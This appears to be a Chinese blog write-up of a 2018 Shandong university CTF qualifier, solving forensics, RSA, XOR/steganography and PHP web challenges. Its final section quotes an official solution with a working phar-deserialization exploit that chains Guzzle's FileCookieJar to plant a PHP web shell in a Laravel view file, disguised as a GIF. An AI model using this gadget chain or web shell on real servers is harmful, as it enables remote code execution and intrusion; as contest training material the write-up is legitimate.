V0W's Blog

第七届山东省大学生网络安全技能大赛——选拔赛WP

字数统计: 1,407阅读时长: 6 min
2018/09/16 Share

第七届山东省大学生网络安全技能大赛——选拔赛WP

题目总体来说不是很难,但是时间紧,主要还有100道选择题,比较折磨人。WP写的晚,环境关了,有些题目忘记原来叫什么名字了==、

MISC

流量包分析

提示说找特殊的脚本文件

于是我尝试查找php.py

分别用下面两条过滤语句

1
2
http contains ".py"
http contains ".php"

mark

显然,这是一个在查看一个python脚本的内容,我们可以追踪http流看一下这个文件内容

1
2
3
4
5
l = [102, 108, 97, 103, 123, 54, 51, 55, 50, 51, 99, 57, 53, 53, 52, 56, 100, 52, 97, 53, 99, 52, 102, 102, 57, 52, 101, 98, 48, 56, 97, 57, 100, 49, 98, 48, 102, 125]
f_l_a_g = ''
for i in l:
f_l_a_g += chr(i)
print f_l_a_g

运行py脚本得到flag。

backdoor

看题目的意思要求找一个后门文件

利用下面的过滤语句:

1
http contains ".php"

找到了后门文件:

mark

追踪http流,发现一段压缩包数据:

mark

提取出来,winhex中写入数据,解压得到二维码,扫码得到flag。

RSA

mark

得到这样的结果信息:

1
2
3
4
key长度:	255
模数: N = 439AEAB34EAEE973E968EBDD11D6D3EF7302072C4BFD4F7FE2B0CF9889277F6D
指数: e = 65537 (0x10001)
flagmessage: c = 0C6B16AA9B0139542FEEEDD6AE62D6F6498206F133DCFE5F45C139B8776D18DC

现在已知c, e, n, 求m

因为这个模数不算大,可以直接将n分解为p,q

转换成10进制,然后在线分解一下即可

1
2
3
>>> s='439AEAB34EAEE973E968EBDD11D6D3EF7302072C4BFD4F7FE2B0CF9889277F6D'
>>> int(s,16)
30578675145816634962204467309994126955968568987449100734690153203822106214253

在线分解

1
2
3
4
5
8767867843568934765983476584376578389<37> ·3487583947589437589237958723892346254777<40>

得到
p = 8767867843568934765983476584376578389
q = 3487583947589437589237958723892346254777

利用CRYPTO模块,求得私钥:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# coding:utf-8
import math
import sys
from Crypto.PublicKey import RSA
arsa=RSA.generate(1024)
arsa.p=8767867843568934765983476584376578389
arsa.q=3487583947589437589237958723892346254777
arsa.e=65537
arsa.n=arsa.p*arsa.q
Fn=long((arsa.p-1)*(arsa.q-1))

#此处原理e*d=Fn*i+1
i=1
while(True):
x=(Fn*i)+1
if(x%arsa.e==0):
arsa.d=x/arsa.e
break
i=i+1
private=open('private.pem','w')
private.write(arsa.exportKey())
private.close()

之后还是利用openssl 和私钥解密

1
2
3
root@kali:~/Desktop# openssl
OpenSSL> rsautl -decrypt -in flag.enc -inkey private.pem
flag{Rs4_1s_3asY}

欢迎来到科来杯

winhex打开文件,发现文件已损坏,文件头也不是png正常的文件头,于是拿正常的文件头和该文件头做异或,发现结果是kelaibei,后面的000000^6B656C=kel

1
2
3
4
5
s = 0XE235222664687F636B656C
a = 0X89504E470D0A1A0A000000
print hex(s^a)
#7738710700341749097
# kelaibeikel

假设原来的正常文件是A,现在的加密的文件为Bkeykelaibei,则A^key=B ,那么解密就很容易了:

B^key=A

解密脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#coding:utf-8
s = ''
i = 0
key = 'kelaibei'
l = 7
with open('./encode.png','rb') as f:
while True:
if i >= len(key):
i = 0
a=f.read(1)
if not a:
break
ch = hex(ord(key[i])^ord(a))[2:]
if len(ch) == 1:
ch = '0'+ch
s += ch
s += ' '
i+=1
with open('b.txt','w') as w:
w.write(s)
print('done.')

将生成的hex数据复制到winhex中,得到decode.png文件

mark

然后发现蓝色通道的最低位有一个二维码:

mark

扫码得到flag: flag{x0r_pNg_l5b}

WEB

php与js

1.XFF
2.UA
3.php弱类型md5
4.利用md5不能处理数组的特点绕过,数组绕过(md5(arr)==null)
5.md5爆破,附上脚本:

1
2
3
4
5
6
7
8
import hashlib

def getmd5(code):
for i in range(999999):
temp = hashlib.md5(str(i)).hexdigest()
if temp[0:6] == code:
return i
print getmd5('084a12')

6.js,看源码就知道了密码了。

share——WEB2

这个题暴露我代码审计方面的很大的问题==、

以下为粘贴的官方WP


解题过程

进行踩点会发现存在 robots.txt 文件,访问得到source_code.zip源码包,进行代码审计。

源码包中含有 readme.md 文件,浏览后可以得到的有用信息有:web程序的路径,以及storage的www-data权限。

分析代码,在 app/Http/Controllers/ShareController.php 中,存在上传功能与远程获取功能,这里远程获取没有做严格过滤,所以可以使用phar协议读取内网文件以此触发反序列化。

这里需要找gadgets构造pop链,

在 vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php 中,存在一个可利用组件。

1
2
3
4
5
6
public function __destruct()

{

$this->save($this->filename);
}

但是这里会发现访问入口 public 文件夹是没权限写文件的,只有无法直接访问的storage文件夹存在写权限。

视图文件存在这里,但是不知道文件名,这里是laravel中的一个特性。

1
2
3
4
5
6
public function getCompiledPath($path)

{

return $this->cachePath.'/'.sha1($path).'.php';
}

编译后的视图文件都是 sha1(path + blade filename), 而web路径在readme中已经给出,所以可以自己算出编译后的视图文件名。

直接使用给出的源码包的组件,使用phar压一个包,伪造成gif图片。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

require '/usr/share/nginx/html/vendor/autoload.php';



use GuzzleHttp\Cookie\FileCookieJar;

use GuzzleHttp\Cookie\SetCookie;

$obj = newFileCookieJar('/usr/share/nginx/html/storage/framework/views/f7223189603002557f9e3db9d46a59399839e193.php');

$payload = "<?php echo system(\$_GET['c'])?>";
$obj->setCookie(new SetCookie([

'Name' => 'foo',

'Value' => 'test',

'Domain' => $payload,

'Expires' => time()
]));
$p = new Phar('./1.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($obj);
$p->addFromString('1.txt','text');
$p->stopBuffering();
rename('./1.phar', '1.gif');

?>

f7223189603002557f9e3db9d46a59399839e193.php 是故事内容的视图文件。

先使用上传功能将gif文件上传,然后在浏览故事可以看到上传后的文件名。

然后分享新故事使用远程获取功能使用 phar:///usr/share/nginx/html/storage/app/public/xxx.gif 进行反序列化操作。

然后访问故事详情,获取webshell。

CATALOG
  1. 1. 第七届山东省大学生网络安全技能大赛——选拔赛WP
  2. 2. MISC
    1. 2.1. 流量包分析
    2. 2.2. backdoor
    3. 2.3. RSA
    4. 2.4. 欢迎来到科来杯
  3. 3. WEB
    1. 3.1. php与js
    2. 3.2. share——WEB2